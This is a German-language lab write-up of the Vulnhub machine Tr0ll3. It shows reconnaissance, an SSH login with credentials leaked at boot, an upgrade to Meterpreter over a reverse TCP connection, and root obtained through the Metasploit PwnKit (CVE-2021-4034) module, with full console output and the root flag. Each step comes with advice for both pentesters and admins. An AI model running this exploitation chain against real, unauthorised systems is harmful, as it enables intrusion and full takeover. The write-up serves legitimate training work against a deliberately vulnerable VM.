Tr0ll3 - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
Metasploit (msfconsole)
ssh_login (msf module)
shell_to_meterpreter (msf module)
cve_2021_4034_pwnkit_lpe_pkexec (msf module)
Meterpreter
id
cd
ls
cat

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.145	08:00:27:cb:6e:8e	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Protokoll zu entdecken.

Bewertung: Ein Host wurde unter der IP-Adresse 192.168.2.145 identifiziert. Die MAC-Adresse (08:00:27:...) weist auf eine VirtualBox-VM hin. Dies ist unser Zielsystem.

Empfehlung (Pentester): Notieren Sie die IP 192.168.2.145 für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
  192.168.2.145	troll3.vln

Analyse: Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.145 den Hostnamen `troll3.vln` zuzuweisen.

Bewertung: Erleichtert die Ansprache des Zielsystems über einen Namen.

Empfehlung (Pentester): Nützliche Vorgehensweise.
Empfehlung (Admin): Keine direkte Auswirkung auf das Ziel.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.145 -p- | grep open
22/tcp open  ssh     penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird gegen das Ziel durchgeführt, und die Ausgabe wird nach offenen Ports gefiltert.

Bewertung: Der Scan findet nur einen offenen TCP-Port: Port 22 (SSH), auf dem OpenSSH 7.6p1 (Ubuntu) läuft. Dies ist der einzige Netzwerk-basierte Angriffsvektor.

Empfehlung (Pentester): Konzentrieren Sie sich auf den SSH-Dienst. Suchen Sie nach Hinweisen auf Benutzernamen und Passwörter (z.B. durch OSINT, Standard-Credentials, Hinweise außerhalb von Netzwerkscans). Versuchen Sie ggf. einen Brute-Force-Angriff, falls Benutzernamen bekannt sind.
Empfehlung (Admin): Stellen Sie sicher, dass SSH sicher konfiguriert ist (aktuelle Version, Schlüsselauthentifizierung bevorzugt, starke Passwörter, Fail2Ban).

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.145 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 15:11 CEST
Nmap scan report for troll3.vln (192.168.2.145)
Host is up (0.00016s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 6d:d1:ea:d0:a8:1e:83:ef:c7:4f:ae:4c:bb:d6:75:19 (RSA)
|   256 24:5f:cb:ef:3a:db:b5:59:c6:15:51:b9:2b:9b:fa:39 (ECDSA)
|_  256 8b:96:de:4a:11:45:a7:f9:eb:60:9b:45:da:1a:21:de (ED25519)
MAC Address: 08:00:27:CB:6E:8E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.16 ms troll3.vln (192.168.2.145)

Analyse: Die vollständige Nmap-Ausgabe für den vorherigen Scan wird angezeigt.

Bewertung: Bestätigt Port 22 (SSH) als einzigen offenen Port. Die OpenSSH-Version 7.6p1 ist nicht brandaktuell, aber auch nicht extrem alt; bekannte Schwachstellen sind weniger wahrscheinlich als bei älteren Versionen. Die OS-Erkennung schätzt Linux 3.2 - 4.9. Keine weiteren verwertbaren Informationen aus den NSE-Skripten.

Empfehlung (Pentester): Da nur SSH offen ist, müssen Zugangsdaten gefunden werden. Suchen Sie nach Hinweisen außerhalb der Netzwerk-Enumeration (z.B. Informationen während des Boot-Vorgangs der VM, wie im nächsten Schritt angedeutet).
Empfehlung (Admin): Halten Sie SSH aktuell und sicher konfiguriert.

Initial Access

Da die Netzwerk-Enumeration nur den SSH-Port aufdeckte, wurde nach anderen Hinweisen gesucht. Beim Booten der virtuellen Maschine wurde die Meldung `start:here` beobachtet. Dies deutet auf einen möglichen Benutzernamen (`start`) und ein Passwort (`here`) hin.

msf6 auxiliary(scanner/ssh/ssh_enumusers) > # (Annahme: msfconsole war bereits gestartet)
msf6 auxiliary(scanner/ssh/ssh_enumusers) > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.2.145
rhosts => 192.168.2.145
msf6 auxiliary(scanner/ssh/ssh_login) > set username start
username => start
msf6 auxiliary(scanner/ssh/ssh_login) > set password here
password => here
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.2.145:22 - Starting bruteforce
[+] 192.168.2.145:22 - Success: 'start:here' 'uid=1001(start) gid=1001(start) groups=1001(start) Linux Tr0ll3 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.2.199:39745 -> 192.168.2.145:22) at 2023-10-19 15:31:18 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Analyse: Das Metasploit-Modul `auxiliary/scanner/ssh/ssh_login` wird verwendet, um die beim Booten beobachteten Zugangsdaten (`start`:`here`) am SSH-Dienst zu testen. Die Optionen `rhosts`, `username` und `password` werden entsprechend gesetzt.

Bewertung: Erfolg! Das Modul meldet `[+] Success: 'start:here'`. Die Zugangsdaten sind korrekt und Metasploit öffnet automatisch eine SSH-Session (ID 1) zum Zielsystem als Benutzer `start`. Initial Access wurde erreicht.

Empfehlung (Pentester): Interagieren Sie mit der geöffneten SSH-Session (`sessions -i 1`), um Shell-Zugriff zu erhalten. Beginnen Sie mit der Enumeration für die Privilegieneskalation.
Empfehlung (Admin): Verwenden Sie keine trivialen oder leicht zu erratenden Benutzernamen und Passwörter. Zeigen Sie keine sensiblen Informationen während des Boot-Vorgangs an.

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i
Active sessions
===============

  Id  Name  Type         Information  Connection
  --  ----  ----         -----------  ----------
  1         shell linux  SSH root @   192.168.2.199:39745 -> 192.168.2.145:22 (192.168.2.145)
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...
# Remote Shell Prompt id
uid=1001(start) gid=1001(start) groups=1001(start)

Analyse: Der Befehl `sessions -i` listet die aktive Metasploit-Session auf. Mit `sessions -i 1` wird zur interaktiven Shell dieser Session gewechselt. Der `id`-Befehl bestätigt den Benutzerkontext.

Bewertung: Der Benutzer ist erfolgreich als `start` (UID 1001) auf dem Zielsystem eingeloggt.

Empfehlung (Pentester): Führen Sie grundlegende Enumerationsbefehle aus (`uname -a`, `sudo -l`, `find / -perm -4000 2>/dev/null`, `ps aux` etc.).
Empfehlung (Admin): Überwachen Sie SSH-Logins.

Privilege Escalation

Nachdem der Initial Access als Benutzer `start` erlangt wurde, wird nach Wegen zur Erhöhung der Berechtigungen gesucht.

Um die weitere Enumeration und potenzielle Exploit-Ausführung zu erleichtern, wird die einfache Shell-Session zu einer Meterpreter-Session aufgewertet.

msf6 auxiliary(scanner/ssh/ssh_login) > use multi/manage/shell_to_meterpreter # Korrekter Modulname: post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.145
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.145:39302) at 2023-10-19 15:32:59 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Analyse: Das Metasploit-Post-Exploitation-Modul `post/multi/manage/shell_to_meterpreter` wird verwendet, um die bestehende Shell-Session (ID 1) zu einer Meterpreter-Session aufzuwerten. Ein Listener wird auf Port 4433 gestartet, um die neue Verbindung zu empfangen.

Bewertung: Erfolg! Das Modul führt das Upgrade erfolgreich durch und öffnet eine neue Meterpreter-Session (ID 2). Meterpreter bietet erweiterte Funktionen für die Post-Exploitation.

Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Session (`sessions -i 2`). Nutzen Sie Module wie den `local_exploit_suggester` oder führen Sie manuelle Enumerationsbefehle über die Meterpreter-Shell aus.
Empfehlung (Admin): EDR-Lösungen können versuchen, Meterpreter-Payloads zu erkennen. Netzwerk-Egress-Filterung kann Reverse-Verbindungen blockieren.

Es wird nach bekannten lokalen Privilegieneskalations-Exploits gesucht, insbesondere nach PwnKit (CVE-2021-4034).

msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  auxiliary/scanner/http/dolibarr_16_contact_dump      2023-03-14       normal     Yes    Dolibarr 16 pre-auth contact database dump
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
   2  exploit/windows/local/ms18_8120_win32k_privesc       2018-05-09       good       No     Windows SetImeInfoEx Win32k NULL Pointer Dereference

Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/local/ms18_8120_win32k_privesc
msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp

Analyse: Mit `search 4034` wird in Metasploit nach Modulen gesucht, die mit CVE-2021-4034 (PwnKit) in Verbindung stehen. Das Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` wird gefunden und mit `use 1` ausgewählt.

Bewertung: Das passende Exploit-Modul für PwnKit wurde identifiziert und ausgewählt. PwnKit ist eine weit verbreitete und oft erfolgreiche Schwachstelle zur lokalen Privilegieneskalation auf Linux-Systemen.

Empfehlung (Pentester): Konfigurieren Sie das PwnKit-Modul mit der aktuellen Meterpreter-Session-ID (2) und den Listener-Optionen (`LHOST`, `LPORT`).
Empfehlung (Admin): Stellen Sie sicher, dass das System gegen CVE-2021-4034 gepatcht ist (Aktualisierung des `policykit-1`-Pakets).

Proof of Concept (PwnKit)

Der PwnKit-Exploit (CVE-2021-4034) wird nun über die Meterpreter-Session ausgeführt, um Root-Rechte zu erlangen.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4455
lport => 4455
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4455
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.abilkjxuvfvq
[+] The target is vulnerable.
[*] Writing '/tmp/.rjisqsn/dugctlo/dugctlo.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.rjisqsn
[*] Sending stage (3045380 bytes) to 192.168.2.145
[+] Deleted /tmp/.rjisqsn/dugctlo/dugctlo.so
[+] Deleted /tmp/.rjisqsn/.fkulaxf
[+] Deleted /tmp/.rjisqsn
[*] Meterpreter session 3 opened (192.168.2.199:4455 -> 192.168.2.145:52958) at 2023-10-19 15:33:56 +0200
meterpreter >

Analyse: Das PwnKit-Exploit-Modul wird konfiguriert und ausgeführt: * `set lport 4455`: Definiert den Port für den Listener der neuen Root-Shell. * `set session 2`: Gibt die Ziel-Meterpreter-Session an, über die der Exploit ausgeführt wird. * `run`: Startet den Exploit. Das Modul prüft die Anfälligkeit (`[+] The target is vulnerable.`), lädt die notwendigen Komponenten in ein temporäres Verzeichnis (`/tmp/...`), führt den Exploit gegen `pkexec` aus und startet den Payload.

Bewertung: Erfolg! Der Exploit war erfolgreich und hat eine neue Meterpreter-Session (ID 3) mit Root-Rechten geöffnet (`Meterpreter session 3 opened`).

Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Session (`sessions -i 3`). Überprüfen Sie die Rechte (`getuid`, `sysinfo`). Suchen Sie nach der Root-Flag.
Empfehlung (Admin): Patchen Sie CVE-2021-4034. Überwachen Sie die Ausführung von `pkexec` und verdächtige Aktivitäten in `/tmp`.

meterpreter > shell
Process 8313 created.
Channel 1 created.
# Root Shell Prompt id
uid=0(root) gid=0(root) groups=0(root),1001(start)
# Root Shell Prompt cd ~ # Wechselt zu /root
# Root Shell Prompt ls
flag.txt
# Root Shell Prompt cat flag.txt
You are truly a Jedi!

Twitter Proof:

Pr00fThatTh3L33tHax0rG0tTheFl@g!!

@Maleus21

Analyse: Aus der neuen Meterpreter-Session (ID 3) wird eine Shell geöffnet (`meterpreter > shell`). Der `id`-Befehl bestätigt die Root-Rechte (`uid=0(root)`). Es wird in das Root-Home-Verzeichnis (`cd ~` oder `cd /root`) gewechselt und die Datei `flag.txt` ausgelesen.

Bewertung: Die Root-Rechte wurden bestätigt und die Root-Flag erfolgreich gefunden: `Pr00fThatTh3L33tHax0rG0tTheFl@g!!`. Die Privilegieneskalation war erfolgreich.

Empfehlung (Pentester): Ziel erreicht. Dokumentieren Sie den Eskalationsweg über PwnKit.
Empfehlung (Admin): Patchen Sie das System und überprüfen Sie die Konfiguration auf weitere Schwachstellen.

Flags

Anmerkung: Eine User-Flag wurde im Log nicht explizit gefunden oder ausgelesen.

cat /root/flag.txt
Pr00fThatTh3L33tHax0rG0tTheFl@g!!